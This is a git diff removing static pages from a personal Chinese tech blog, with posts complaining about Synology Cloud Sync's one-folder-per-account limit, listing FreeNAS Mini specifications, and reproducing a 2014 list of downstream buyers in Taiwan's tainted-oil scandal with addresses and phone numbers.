    這軟體裝很久了,幾乎都忘記他的存在,不過目前看起來,還滿方便的啊!

    - -

     

    - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e6-8a-b1-e6-80-a8-e7-be-a4-e6-9a-89-e7-9a-84-cloud-sync-e8-a8-ad-e8-a8-88-e9-82-8f-e8-bc-af-e7-9c-9f-e7-9a-84-e6-98-af-e6-9c-89-e5-a4-a0/index.html b/themes/public/article/e6-8a-b1-e6-80-a8-e7-be-a4-e6-9a-89-e7-9a-84-cloud-sync-e8-a8-ad-e8-a8-88-e9-82-8f-e8-bc-af-e7-9c-9f-e7-9a-84-e6-98-af-e6-9c-89-e5-a4-a0/index.html deleted file mode 100644 index ec98747f..00000000 --- a/themes/public/article/e6-8a-b1-e6-80-a8-e7-be-a4-e6-9a-89-e7-9a-84-cloud-sync-e8-a8-ad-e8-a8-88-e9-82-8f-e8-bc-af-e7-9c-9f-e7-9a-84-e6-98-af-e6-9c-89-e5-a4-a0/index.html +++ /dev/null @@ -1,449 +0,0 @@ - - - - - - - - - - [抱怨]群暉的 Cloud Sync 設計邏輯真的是有夠....... | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [抱怨]群暉的 Cloud Sync 設計邏輯真的是有夠.......

    -
    - - - 2015-07-09 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    最近因為NAS檔案被USER誤刪,進而引發後續的資料備份、還原出錯的問題

    - -

    想來測試一下把資料通通備份到Google Drive 減少這些錯誤

    - -

    在群暉的NAS上,有出一個官方套件叫做 Cloud Sync ,可以將NAS上的資料備份到雲端空間上

    - -

    這麼好用的工具,當然要拿來用啦!

    - -

    興沖沖的安裝套件,開始設定,結果………

    - -

    - -

    假設我的NAS底下,設定了10個共享目錄,分別叫做 AA/BB/CC…….

    - -

    我先在Cloud Sync 內新增了一個同步 AA 目錄到 Google Drive 的工作

    - -

    完成之後,我再次設定同步BB目錄到 Google Drive,就會發生錯誤

    - -

    2015-07-09_12-04-16

    - -

     

    - -

    想說是不是我不會用,打客服問問看專業的好了

    - -

    p.s 這次等沒幾秒就被接起來了,不知道是運氣好,還是群暉客服電話人員有改善了

    - -

    沒想到客服真的回答說:「目前沒有辦法一次同步所有資料夾到雲端,可能要請你先把這些資料夾都移到同一個目錄底下」…….

    - -

    所以以我上面所提的狀況,我有十個資料夾要同步到不限容量的Google Drive 我就需要準備十個Google Drive 帳號!? WHAT THE HELL !??!?!?!?

    - -

    真不知道群暉的人在設計這個功能時候,是怎麼想的!?

    - -

    一台NAS只會開一個共享目錄,然後再從底下的子目錄去設定不同部門、人員的權限這樣?怎樣的公司會這樣做啊!!!!

    - -

    正常當然是管理部有管理部的共享目錄,財務部有財務部的共享目錄才對啊!!

    - -

    那依照這種正常的邏輯去設定出來的環境,反而不能使用官方開發出來的備份到雲端空間的套件一次全部備份!?

    - -

    那如果我開了100個共享目錄,我不就要去生出100個google drive 的帳號來進行備份!?

    - -

    拜託你們這些開發工程師,開發功能之前,可以好好想想看是不是真的符合一般人的需求嗎?!!?!?!?

    - -

     

    - -

     

    - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e6-95-97-e5-ae-b6-e3-80-90-e9-9c-b9-e9-9d-82-e8-b1-b9-e3-80-91-e7-9f-bd-e5-88-86-e5-ad-90-e5-a1-91-e6-96-99-e9-82-84-e5-8e-9f-e5-8a-91-e8-88-8a-e8-bb-8a-e8-ae-8a-e6-96-b0-e8-bb-8a-e7-9a-84/index.html b/themes/public/article/e6-95-97-e5-ae-b6-e3-80-90-e9-9c-b9-e9-9d-82-e8-b1-b9-e3-80-91-e7-9f-bd-e5-88-86-e5-ad-90-e5-a1-91-e6-96-99-e9-82-84-e5-8e-9f-e5-8a-91-e8-88-8a-e8-bb-8a-e8-ae-8a-e6-96-b0-e8-bb-8a-e7-9a-84/index.html deleted file mode 100644 index cd3e080c..00000000 --- a/themes/public/article/e6-95-97-e5-ae-b6-e3-80-90-e9-9c-b9-e9-9d-82-e8-b1-b9-e3-80-91-e7-9f-bd-e5-88-86-e5-ad-90-e5-a1-91-e6-96-99-e9-82-84-e5-8e-9f-e5-8a-91-e8-88-8a-e8-bb-8a-e8-ae-8a-e6-96-b0-e8-bb-8a-e7-9a-84/index.html +++ /dev/null @@ -1,399 +0,0 @@ - - - - - - - - - - [敗家] 【霹靂豹】矽分子塑料還原劑---舊車變新車的秘密武器 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - - - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e6-95-97-e5-ae-b6-e5-b0-8f-e7-b1-b3-e8-b7-af-e7-94-b1-e5-99-a8-mini-x-2-e5-b0-8f-e7-b1-b3-e6-99-ba-e8-83-bd-e6-94-9d-e7-9b-b8-e6-a9-9f-e5-a4-9c-e8-a6-96-e7-89-88/index.html b/themes/public/article/e6-95-97-e5-ae-b6-e5-b0-8f-e7-b1-b3-e8-b7-af-e7-94-b1-e5-99-a8-mini-x-2-e5-b0-8f-e7-b1-b3-e6-99-ba-e8-83-bd-e6-94-9d-e7-9b-b8-e6-a9-9f-e5-a4-9c-e8-a6-96-e7-89-88/index.html deleted file mode 100644 index 87d87d7c..00000000 --- a/themes/public/article/e6-95-97-e5-ae-b6-e5-b0-8f-e7-b1-b3-e8-b7-af-e7-94-b1-e5-99-a8-mini-x-2-e5-b0-8f-e7-b1-b3-e6-99-ba-e8-83-bd-e6-94-9d-e7-9b-b8-e6-a9-9f-e5-a4-9c-e8-a6-96-e7-89-88/index.html +++ /dev/null @@ -1,399 +0,0 @@ - - - - - - - - - - [敗家] 小米路由器 Mini x 2 + 小米智能攝相機 夜視版 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - - - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e6-95-97-e5-ae-b6-e6-9c-89-e8-b6-a3-e7-9a-84-e6-9d-b1-e8-a5-bf-ef-bc-8c-e5-8f-af-e4-bb-a5-e9-80-a3-e6-8e-a5pcmac-ef-bc-8c-e7-94-a8-e4-b8-80-e7-b5-84-e9-8d-b5-e7-9b-a4-e6-bb-91-e9-bc-a0-e6-8e-a7/index.html b/themes/public/article/e6-95-97-e5-ae-b6-e6-9c-89-e8-b6-a3-e7-9a-84-e6-9d-b1-e8-a5-bf-ef-bc-8c-e5-8f-af-e4-bb-a5-e9-80-a3-e6-8e-a5pcmac-ef-bc-8c-e7-94-a8-e4-b8-80-e7-b5-84-e9-8d-b5-e7-9b-a4-e6-bb-91-e9-bc-a0-e6-8e-a7/index.html deleted file mode 100644 index 85caf03e..00000000 --- a/themes/public/article/e6-95-97-e5-ae-b6-e6-9c-89-e8-b6-a3-e7-9a-84-e6-9d-b1-e8-a5-bf-ef-bc-8c-e5-8f-af-e4-bb-a5-e9-80-a3-e6-8e-a5pcmac-ef-bc-8c-e7-94-a8-e4-b8-80-e7-b5-84-e9-8d-b5-e7-9b-a4-e6-bb-91-e9-bc-a0-e6-8e-a7/index.html +++ /dev/null @@ -1,403 +0,0 @@ - - - - - - - - - - [敗家]有趣的東西,可以連接PC&MAC,用一組鍵盤滑鼠控制兩台電腦,支援傳檔、複製貼上 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - - - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e6-95-97-e5-ae-b6-e8-b6-85-e5-a4-9a-e5-8a-9f-e8-83-bd-e7-9a-84-e8-96-84-e5-a4-96-e5-a5-97/index.html b/themes/public/article/e6-95-97-e5-ae-b6-e8-b6-85-e5-a4-9a-e5-8a-9f-e8-83-bd-e7-9a-84-e8-96-84-e5-a4-96-e5-a5-97/index.html deleted file mode 100644 index 51f4d811..00000000 --- a/themes/public/article/e6-95-97-e5-ae-b6-e8-b6-85-e5-a4-9a-e5-8a-9f-e8-83-bd-e7-9a-84-e8-96-84-e5-a4-96-e5-a5-97/index.html +++ /dev/null @@ -1,399 +0,0 @@ - - - - - - - - - - [敗家] 超多功能的薄外套 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - - - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e6-95-97-e5-ae-b6-freenas-mini/index.html b/themes/public/article/e6-95-97-e5-ae-b6-freenas-mini/index.html deleted file mode 100644 index bfa05ece..00000000 --- a/themes/public/article/e6-95-97-e5-ae-b6-freenas-mini/index.html +++ /dev/null @@ -1,488 +0,0 @@ - - - - - - - - - - [敗家] FreeNas Mini | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [敗家] FreeNas Mini

    -
    - - - 2014-03-19 - - - - - - - - - 未分類 - - - - - -
    - - - - -

    今天在PTT看到鄉民推文說到這個東西

    - -

    查了一下,頗有趣的! 空機大概1000 美金左右~

    - -

    FreeNAS Mini Specifications

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    ModelFreeNAS® Mini
    Case4-Bay Enclosure w/ Locking Front Bezel - Super Quiet Design (<50db w/ WD Red Drives)
    Maximum CapacityUp to 16TB depending on RAID layout.
    CPU8-Core 2.4GHz Intel Processor with AES-NI (Low Power)
    Memory16GB DDR3 with ECC standard, 32GB upgrade optional
    RAID LevelRAID-Z (RAID 5), ZFS Mirror (RAID 10), ZFS Stripe
    RAID EngineZFS
    Network2 x 10/100/1000 Gigabit Ethernet Port -Dedicated RJ-45 IPMI Port (Remote Hardware Management)
    Hard Drive Trays4 x SATA 3.5” Hot-Swappable Drive Bays -2 x SATA 2.5" Internal Drive Bays
    Power Supply100V to 240V AC
    Power Frequency50/60 HZ, Single Phase
    Power ConsumptionWithout Drives: 24W idle -With 4 x WD Red NAS Drives: 37W idle; 47W @ max load
    User Control InterfaceWeb Browser and Remote Hardware Management
    Dimension (in.)9.45" W x 8.27 " D x 9.45" H (240 x 210 x 240mm)
    Weight (lb)10.8lb (without drives)
    CertificationsCE, FCC, UL, RoHS
    Limited Warranty1 Year
    Package ContentsFreeNAS Mini (1) -Power Cord (1) -Quick Start Guide (1) -Case Door Key (2) -Removable Disk Tray (4) -Goodies! (?)
    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e6-99-82-e4-ba-8b-e9-bb-91-e5-bf-83-e6-b2-b9-e5-95-86-e5-bc-b7-e5-86-a0-e4-b8-8b-e6-b8-b8-e5-bb-a0-e5-95-86-e6-98-8e-e7-b4-b0/index.html b/themes/public/article/e6-99-82-e4-ba-8b-e9-bb-91-e5-bf-83-e6-b2-b9-e5-95-86-e5-bc-b7-e5-86-a0-e4-b8-8b-e6-b8-b8-e5-bb-a0-e5-95-86-e6-98-8e-e7-b4-b0/index.html deleted file mode 100644 index 66285c53..00000000 --- a/themes/public/article/e6-99-82-e4-ba-8b-e9-bb-91-e5-bf-83-e6-b2-b9-e5-95-86-e5-bc-b7-e5-86-a0-e4-b8-8b-e6-b8-b8-e5-bb-a0-e5-95-86-e6-98-8e-e7-b4-b0/index.html +++ /dev/null @@ -1,634 +0,0 @@ - - - - - - - - - - [時事] 黑心油商 強冠 下游廠商明細 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [時事] 黑心油商 強冠 下游廠商明細

    -
    - - - 2014-09-05 - - - - - - - - - 未分類 - - - - - -
    - - -

    8 M1526 合記10 台中市大里市愛心一街20號04-24062757 -14 M1617 榮華行20 台中市大里區仁化路310巷9號04-24922552 -11 M1588 英辰121 台中市大里區化工19路6號04-24919666 -17 M1634 順發商行25 台中市北屯區豐樂路11-1號04-24220129 -15 M1630 這一鍋餐飲191 台中市西屯區工業區32路51號04-36093100 -10 M1587 青海行20 台中市西屯區光明路52號04-24521699 -16 M1633 大謹發農產50 台中市沙鹿區福至路150巷10-1號04-26625943 -12 M1593 美食達人229 台中市南屯區工業區23路30號04-36091465 -1 M1057 忠興524 台中市南屯路2段162巷1號04-24753818 -9 M1569 宏茆83 台中市烏日區環中路七段221~223號04-23363030 -5 M1211 品欣食品450 台中市神岡區中山路228號04-25240698 -226 T1214 盛香珍491 台中市梧棲區自強一街146號042-6352711 -13 M1612 立晟食品51 台中市潭子區中山路三段491號04-25317979 -2 M1060 吉星30 台中縣大甲鎮信義路44號04-26884381 -19 M1955 麥可利40 台中縣神岡鄉社口街10巷10號04-25633579 -233 T2001 味王345 台北市中山北路二段79號5樓022-5717271-517 -89 N3400 皇品3 台北市內湖區內湖路一段203巷11號02-27971305 -230 T1377 工研4611 台北市信義區忠孝東路四段559巷38號2樓04-2407-8114 -95 N3485 美加源10 台北市龍江路356巷68號1樓02-25153071 -78 N3009 佛晨453 台北市龍江路429巷8號1樓02-25024707 -182 S3472 家華178 台東市中華路一段227號089-343780 -183 S3474 三能100 台東市四維路一段512號089-353589 -192 S3577 叢林之屋1 台東市光明路158號089-322268 -187 S3496 優品20 台東市康樂路3號 08-9356520 -181 S3466 明德75 台東市傳廣路369號089-336266 -188 S3498 成典164 台東市豐谷北路73號089-333595 -214 S4196 銘勝200 台南市中西區樹林街2段6號06-2132877 -202 S4032 滋味珍37 台南市中華西路一段103號 06-2614186#247 -213 S4189 糧元130 台南市中華東路2段208號06-2349696 -106 S1608 林太太60 台南市中華東路2段226巷47號928551393 -217 S4227 旺來鄉40 台南市仁德區仁德里中山路797號1樓06-2498701 -147 S2711 台糖3 台南市仁德區田厝村文華路2段326號0921-220788 -216 S4212 大東233 台南市永康區大橋3街52號06-2022955 -209 S4149 唐明1009 台南市永康區大灣路187號06-2712590 -204 S4068 美而美600 台南市安平工業區新平路7-1號06-2970033 -199 S4022 正裕650 台南市西門路一段368號 06-2633687 -198 S4021 慶泰260 台南市西區府前路2段220號2220227 -105 S1605 陳清田30 台南市佳里區延平路215號956098177 -218 S4233 金德108 台南市府安路5段144巷3號06-2595359 -220 S4278 久芳113 台南市東山區聖賢里頂窩68號06-6328479 -203 S4039 長安農產300 台南市長溪路3段380巷100一1號06-2552553 -197 S4012 信益2748 台南市長榮路五段419號2515206 -200 S4029 永豐4 台南市南區賢南街51號 06-2911031 -210 S4161 永昌50 台南市崇學路203巷2號06-2377115 -208 S4137 品味軒40 台南市麻豆區苓子林16號0937-36215506- 5700007 -215 S4204 葉忠誠500 台南市善化區什乃里18-22號06-5837253 -219 S4267 五花馬900 台南市新化區大智路(竹子腳)200號0918-804046 -224 T1060 協和30 台南市新化區大新路18號06-5982783 -211 S4173 好帝一926 台南市新市區大營里豐榮160號06-5994665

    - -

    196 S4007 姚錫銘20 台南市新建路53巷4號06-2634602 -212 S4186 永全190 台南市歸仁區七甲里南丁路401號06-2394503 -206 S4084 祥發50 台南縣佳里鎮忠孝路217號06-7225687 -201 S4031 元茂55 台南縣麻豆鎮興南路181號06-5726447 -195 S4002 金泰70 台南縣新營市三民路119號06-6324623 -207 S4089 楊記80 台南縣新營市民生路420巷29號 06-6572250 -205 S4076 豐泉580 台南縣關廟鄉深坑村南雄路一段395號06-5957632 -93 N3447 日升行100 宜蘭市力行街力行巷27-5號03-9322182 -85 N3347 津展403 宜蘭市延平路39-8號03-9380555 -97 N3496 天送埤230 宜蘭縣三星鄉三星路七段305號03-9892960 -82 N3343 裕順116 宜蘭縣五結鄉五結路三段438號03-9605500 -94 N3476 福客來50 宜蘭縣員山鄉永同路一段183號937535355 -86 N3356 宏陽300 宜蘭縣羅東鎮興東路243巷22號03-9542430 -87 N3368 大永進70 宜蘭縣蘇澳鎮中原路85號03-9962264 -83 N3344 本居立125 花蓮市中華路219號03-8360784 -98 N3506 丰禾興156 花蓮市中華路296-2號03-8323436 -90 N3403 龍丸20 花蓮市吉安鄉民治路90號03-8527715 -91 N3426 順興102 花蓮市進豐街32號03-8324014 -84 N3345 相正400 花蓮縣吉安鄉和平路一段138號03-8460087 -20 M1972 金懋豐200 南投縣埔里鎮中正路890號049-2982780 -3 M1089 信通行41 南投縣草屯鎮太平路2段60號04-92318369 -4 M1096 凰淋209 南投縣草屯鎮東山路自強巷16號04-92550031 -151 S3011 順記20 屏東市大埔柳州街10-1號08-7323955 -152 S3012 四海35 屏東市民生路180-5號7335595 -164 S3147 清香57 屏東市自立南路18號7534738 -155 S3025 啟順50 屏東市和生路三段606號08-7237896 -157 S3049 義豐90 屏東市和生路三段850號08-7558809 -158 S3063 鴻發50 屏東市前進里崁頂路1之27號08-7551568 -156 S3044 陳啟宗5 屏東市頂柳路261巷5號7524989 -194 S3587 鄭師父8 屏東市復興南路1段202號 0957-786288 -153 S3015 隆達100 屏東市萬丹鄉萬丹路三段263號08-7522602 -150 S3005 豐茂40 屏東市福州街56號 08-7323573 -189 S3500 裕軒32 屏東市廣東路398號08-7374759 -172 S3310 正通179 屏東市興豐路174號7384176 -175 S3443 簡炎輝333 屏東市龍榮里(路)555號7516687 -193 S3578 饌師父30 屏東縣九如鄉光復街287號08-7390424 -222 T1053 陸仕297 屏東縣內埔鄉北寧路二段88號08-7799701 -173 S3320 慶祥700 屏東縣東港鎮延平路180號 08-8328783 -169 S3208 成珍香1 屏東縣東港鎮東隆街30號08-8322078 -174 S3429 永祥90 屏東縣東港鎮信義街16號8324531 -190 S3505 劉文通50 屏東縣東港鎮興漁里順漁路65巷1弄1號0955-817978 -162 S3123 瑞豐137 屏東縣長治鄉繁華村中正路11號 08-7626469 -154 S3023 新益成573 屏東縣屏東市民生路79-4號7229696 -170 S3235 迎裕50 屏東縣崁頂鄉園寮村南州路5巷9號08-8646389 -168 S3204 順成4 屏東縣新園鄉共和村中正路105號 08-8331378 -167 S3203 富統2 屏東縣萬丹鄉泉順街439巷37號(08)777-2747 -191 S3558 沈正雄30 屏東縣萬丹鄉萬丹路一段262號 08-7760049 -166 S3201 陳聰吉53 屏東縣萬丹鄉萬心路1222號08-7776574 -160 S3107 泰昌488 屏東縣潮州鎮四維路73號08-7883203 -161 S3110 佳新540 屏東縣潮州鎮光春路138號08-7883369 -159 S3087 建泰10 屏東縣潮州鎮西市路13一1號(08)7882240

    - -

    165 S3159 裕軒240 屏東縣潮洲鎮太平路473號08-7887835 -163 S3124 大芳230 屏東縣潮洲鎮南京路153號 08-7892555 -47 N1180 苗林59 苗栗市復興路一段488-1號037-329557 -57 N1362 日祥40 苗栗縣大園鄉三民路二段490號03-3838779 -61 N1414 松發35 苗栗縣平新一路191號03-7752023 -58 N1367 洋茂40 苗栗縣後龍鎮三民路114號037-722331 -60 N1404 日富318 苗栗縣後龍鎮厝勝路202-8號037-720768 -59 N1368 盈芳25 苗栗縣苑裡鎮社苓里110-11號037-743615 -40 N1028 天隆10 苗栗縣頭份鎮中華路641號037-672622 -54 N1331 合泰1073 苗栗縣頭份鎮東興路32號037-663549 -53 N1313 和泰60 桃園市八德市廣福路132號03-3613870 -104 N4105 阿里八八10 桃園市力行路16號03-3314251 -52 N1296 參發20 桃園市民生路622號03-3382396 -39 N1021 昇陽170 桃園市長春路15號03-3343376 -45 N1149 宗益10 桃園市新生路60號03-3322589 -67 N2290 良晟1 桃園縣八德市永豐路236巷12號03-3712121 -49 N1213 總和50 桃園縣八德市富榮街36巷2號03-2181336 -43 N1121 崇禮10 桃園縣八德鄉高銘村高成九街7號03-3716274 -56 N1358 紅?子6 桃園縣中壢市民權路三段334巷46號03-4278984 -62 N1473 南洋55 桃園縣中壢市新生路798-3號03-4922175 -42 N1101 台益3738 桃園縣平鎮市新富街8號03-4598521 -44 N1131 萬昌18 桃園縣平鎮市環南路66巷18弄24號03-4924558 -63 N1474 銳陽50 桃園縣楊梅市永美路2號03-4641530 -46 N1166 台威115 桃園縣龜山鄉東萬壽路311巷2號03-3291111 -144 S2605 旺來發60 高雄市三民區八德二路158巷86-1號3753588 -148 S2715 百康80 高雄市三民區同德里孝順街70號1樓7312833 -135 S2574 雅芳85 高雄市三民區昌裕街198號3832807 -143 S2604 佃彥110 高雄市三民區鼎昌街693巷10號07-3475588 -113 S2160 耕新50 高雄市三民區褒揚街337號07-3845303 -136 S2582 永大210 高雄市三民區遼寧二街224號07-3216975 -138 S2593 進益25 高雄市三民區灣興街40號3827408 -229 T1375 欣冠33 高雄市大寮區大發工業區利民街30號07-7888099 -112 S2158 大直20 高雄市大寮區正心路390巷212號07-7877182 -145 S2674 盛祿隆3 高雄市大寮區過溝里濃公路256巷41號7872226 -234 T2048 員工266 高雄市大寮區鳳屏一路808號 -185 S3481 余峰瑞16 高雄市大寮區濃公路256巷53號7880080 -146 S2710 巨霖12 高雄市小港區台機路10號 07-8065236 -149 S2862 味橋180 高雄市仁武區鳳仁路2巷10-23號07-3714125 -109 S2083 協成80 高雄市左營區左營下路264號07-5815879 -107 S2031 東穎50 高雄市左營區左營大路345巷9號07-5821538 -186 S3487 銘冠400 高雄市左營區自由4路399號3598977 -126 S2427 聖華185 高雄市左營區埤仔頭街71號07-5824295 -140 S2598 旺來興博愛42 高雄市左營區博愛三路466號07-3453355 -124 S2311 永春珠20 高雄市岡山區阿公店路2段210號07-6256612 -125 S2312 大聯95 高雄市岡山區柳橋西路13號(07)6251111 -121 S2304 瑞昇70 高雄市岡山區華園路26號07-6213304 -122 S2305 大慶成145 高雄市岡山區維新路58號07-6212945 -178 S3453 振亨60 高雄市林園區文賢南路124巷6號6423635 -184 S3476 良品20 高雄市林園區鳳林路2段728號6466999 -120 S2257 華岑35 高雄市阿蓮區信義路256號07-6310880 -134 S2572 旺來昌110 高雄市前鎮區公正路181號07-7135345 -180 S3455 簡坤柱170 高雄市前鎮區崗山中街85之1號7616879 -111 S2141 金利華2950 高雄市前鎮區新大路5號07-8111166 -132 S2567 信利85 高雄市前鎮區憲德市場巷28號7710727 -133 S2569 世昌18 高雄市前鎮區擴建路1一35號8111587 -177 S3452 信鴻150 高雄市前鎮區鎮海三街8號7536000 -179 S3454 順生600 高雄市苓雅區尚武路42號7882667 -142 S2602 億源50 高雄市苓雅區輜汽北二路23號7235288 -137 S2584 旺來興240 高雄市鳥松區本管路151號07-3702223 -131 S2555 大直970 高雄市鳥松區松埔北巷58號07-7354699 -223 T1055 奇美320 高雄市湖內區公館里中山路二段51號07-6993901 -130 S2554 老鄉40 高雄市新興區東海街24一1號2267798 -114 S2164 啟旺110 高雄市新興區球庭路23號1樓07-2919318 -108 S2040 泰田35 高雄市楠梓區又昌和光街31號07-3642915 -119 S2215 有味珍4 高雄市楠梓區中泰街29號07-3619616 -128 S2534 錦美85 高雄市楠梓區東街95巷5號 07-3511282 -118 S2214 劉文芳100 高雄市楠梓區後勁中街108巷4號07-3623885 -232 T1395 味全1390 高雄市路竹區中山南路51號07-6962453#400 -123 S2308 程清森270 高雄市路竹區中山路586巷6-1號07-6964348 -139 S2594 旺來興明誠35 高雄市鼓山區明誠三路461號 07-5505991 -117 S2211 松記680 高雄市鼓山區篤敬路35號6樓之1 07-5883481 -231 T1383 台灣欣榮210 高雄市旗山區三協里磚廠巷16號07-6625848 -129 S2543 聯豐270 高雄市鳳山區南華路151-1號07-7158823 -228 T1283 吳記70 高雄市鳳山區新興里光遠路284-1號07-7331519 -116 S2189 冠塘1 高雄市鳳山區過埤路51巷12-2號07-7923024 -176 S3448 永隆興175 高雄市鳳山區鳳仁路92-10號7467463 -171 S3309 建和4 高雄市鳳屏二路258號6512136 -127 S2506 祥有味45 高雄市燕巢區安北路283-1號6166247 -141 S2601 又達70 高雄縣鳳山市過埤里255鳳頂路142號 -92 N3443 公道伯5 基隆市七堵區百五街64巷16號02-24527113 -96 N3488 李鵠812 基隆市仁三路90號02-24223007 -80 N3166 油蔥1468 基隆市西定路139號02-2428-2527 -101 N3553 佳良90 基隆市暖暖區興隆街10-1號02-24585208 -81 N3303 嘉美170 基隆市豐捻街130號02-24621963 -221 T1043 品高16 雲林縣斗六市中南路290巷10-2號05-5518011 -26 M2133 慶豐金100 雲林縣斗六市興南街19號05-5323670 -28 M2211 宗泰60 雲林縣北港鎮文昌路140號05-7833992 -38 M2957 金元寶150 雲林縣虎尾鎮浀頭里13-8號938651950 -33 M2536 佳慶583 雲林縣麥寮鄉後安村19-6號05-6935977 -227 T1262 亞士家14 雲林縣莿桐鄉大美路21-10號05-5850150 -76 N2507 太魯閣20 新北市三重區中正北路193巷41號02-29848554 -102 N3554 殷成10 新北市三重區永安北路二段131-1號02-22828203 -103 N3575 廣?香60 新北市三重區長壽街1-5號02-29759998 -77 N2538 竹間2 新北市三重區重新路2段92號02-29785222 -225 T1071 憶霖135 新北市三重區重新路五段317巷1弄14號02-9953660 -70 N2384 芳春30 新北市土城區仁愛路22號02-22659977 -66 N2237 黑龍江185 新北市中和區忠孝街101巷13號1樓02-29456978 -73 N2456 天頌30 新北市中和區莊敬路24號02-22428662 -74 N2461 巧紳1259 新北市中和區景平路632號02-22483856 -65 N2187 欣財40 新北市中和區福美街301巷29號02-22486140 -68 N2365 明泰213 新北市中和區興南路一段125號02-29451202 -71 N2403 大家發57 新北市板橋區三民路一段101號02-89539211

    - -

    69 N2374 齊魯301 新北市泰山區同義街96-2號02-22960050 -88 N3381 福新20 新北市淡水鎮北投子1-2號02-86315243 -64 N2019 味都167 新北市新莊區雙鳳路107號6樓02-29064536 -79 N3021 員購130 新北市樹林區西俊街2段135巷2-7號02-26800708 -72 N2424 趙明堂450 新北市鶯歌區德昌二街70巷34弄4號1樓02-26788869 -51 N1245 品皓260 新竹市平和街33號03-5261249 -41 N1029 信昌110 新竹市竹東鎮林森路64號03-5969711 -50 N1236 日丰202 新竹市西濱路三段250號03-5306110 -48 N1199 福記10 新竹縣竹北市中華路692號03-5552510 -55 N1342 永興150 新竹縣竹東鎮自強路82號03-5515141 -99 N3547 黑金饌1 新莊區五權一路70-1號02-22988223 -100 N3550 林振昌1 新莊區民安西路24巷6弄8號928464368 -75 N2505 福利1 新莊區後港一路76巷10弄8號02-22042085 -24 M2101 陳忠8 嘉義市大同路12號05-2856529 -22 M2069 達成100 嘉義市福松里民族路593號1F 05-2222072 -25 M2107 嘉益180 嘉義市劉厝路251號05-2360449 -32 M2535 新寶珍10 嘉義縣六腳鄉蒜頭村77-28號05-3802203 -21 M2064 宋國雄350 嘉義縣太保市啤麻腳32號05-2381090 -27 M2159 合信10 嘉義縣民雄鄉福興村牛稠溪121號1樓05-2201476 -23 M2095 九龍80 嘉義縣新港鄉南港村甲地22號05-7811885 -30 M2516 九龍14 彰化市大埔路345-1號04-7126609 -36 M2924 東榮5 彰化市旭光路297號04-7274159 -7 M1312 億全170 彰化市英士路37號04-7112903 -35 M2923 基發150 彰化市華山路76號04-7295398 -34 M2555 肉圓生1 彰化縣北斗鎮中華路192號04-8871349 -29 M2513 上泓70 彰化縣永靖鄉中山路三段181-11號04-8232147 -18 M1928 永明90 彰化縣和美鎮彰草路2段120-8號04-7619348 -37 M2930 自柳24 彰化縣員林鎮靜修路1-12號04-8322852 -6 M1309 原料徐168 彰化縣埔心鄉中正路一段23號04-8295046 -31 M2521 玉珍齋45 彰化縣鹿港鎮中山路168號04-7777688 -115 S2180 黃順治140 澎湖縣馬公市林森路63號06-9279323 -110 S2089 洪清政85 澎湖縣馬公市陽明路31號06-9276157 -235 T6102 樂金90 新北市五股工業區五工六路15號2樓02-2299-6192

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
